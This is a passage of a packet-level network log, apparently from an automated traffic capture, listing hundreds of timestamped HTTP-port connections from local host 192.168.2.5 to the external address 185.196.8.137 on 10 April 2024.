Apr 10, 2024 10:24:11.293148041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293258905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293258905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293320894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293320894 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293432951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293432951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293529987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293529987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293529987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293845892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293845892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293962002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293962002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.293962002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294054031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294054031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294054031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294096947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294240952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294240952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294375896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294375896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294492006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294492006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294572115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294572115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294572115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294688940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294688940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294783115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294783115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.294783115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295011044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295011044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295116901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295116901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295116901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295201063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295201063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295201063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295250893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295278072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295416117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295416117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295476913 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295490026 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295612097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295612097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295671940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.295671940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296020985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296020985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296046972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296083927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296201944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296201944 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296263933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296263933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296351910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296351910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296351910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296829939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296829939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296940088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296940088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296940088 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296993017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.296993017 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297089100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297089100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297089100 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297255993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297255993 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297323942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297323942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297452927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297452927 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297547102 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297548056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297548056 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297657967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297657967 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297723055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297723055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297838926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297838926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297925949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297925949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.297925949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.298861027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.298861027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.298980951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.298980951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.298980951 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299072027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299072027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299072027 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299124002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299137115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299319983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299319983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299386024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299386024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299501896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299501896 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299562931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299562931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299669981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299669981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299735069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299735069 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299855947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299855947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299948931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299948931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.299948931 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300210953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300599098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300599098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300683975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300683975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300683975 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300772905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300772905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300772905 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300865889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300865889 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.300880909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301054955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301054955 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301121950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301121950 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301237106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301237106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301297903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301297903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301405907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301405907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301466942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301466942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301604033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301604033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301629066 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301714897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301714897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.301714897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303177118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303177118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303262949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303262949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303262949 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303352118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303352118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303352118 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303447962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303447962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303447962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303610086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303610086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303679943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.303679943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304421902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304501057 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304517031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304632902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304632902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304697990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304697990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304743052 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304779053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.304790020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305135012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305135012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305234909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305234909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305234909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305327892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305327892 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305329084 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305409908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305409908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305409908 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305468082 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305622101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305622101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305697918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305697918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305747032 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305809021 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305846930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305883884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.305973053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306024075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306024075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306076050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306144953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306185961 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306229115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306229115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306515932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306515932 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306581020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306581020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306662083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306662083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306662083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306721926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306721926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306775093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306775093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306992054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.306992054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307051897 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307087898 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307182074 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307219982 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307310104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307310104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307370901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307370901 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307487011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307487011 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307537079 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307606936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307606936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307658911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307926893 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.307954073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308082104 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308214903 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308240891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308240891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308331966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308331966 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308485031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308485031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308485031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308612108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308612108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308612108 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.308854103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309005976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309005976 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309156895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309156895 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309334040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309334040 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309386015 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309495926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309495926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309495926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309828997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309828997 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309923887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309923887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.309923887 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310026884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310026884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310026884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310079098 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310221910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310384989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310518980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310518980 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310623884 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310659885 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310771942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310771942 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310861111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310861111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310861111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.310915947 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.311212063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.311212063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.311460972 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.311785936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.311949968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.311949968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312010050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312127113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312127113 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312205076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312205076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312382936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312382936 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312469006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312469006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312469006 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312613964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312613964 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312721014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312721014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312721014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.312974930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313040018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313040018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313040018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313105106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313106060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313106060 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313159943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313159943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313189983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313213110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313251019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313390970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313390970 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313426971 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313457012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313457012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313539028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313561916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313599110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313671112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313671112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313694954 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313735962 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313786983 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313817978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313841105 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313849926 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313873053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313909054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.313909054 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314110994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314110994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314156055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314156055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314182043 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314218044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314218044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:11.314264059 CEST	49718	80	192.168.2.5	185.196.8.137
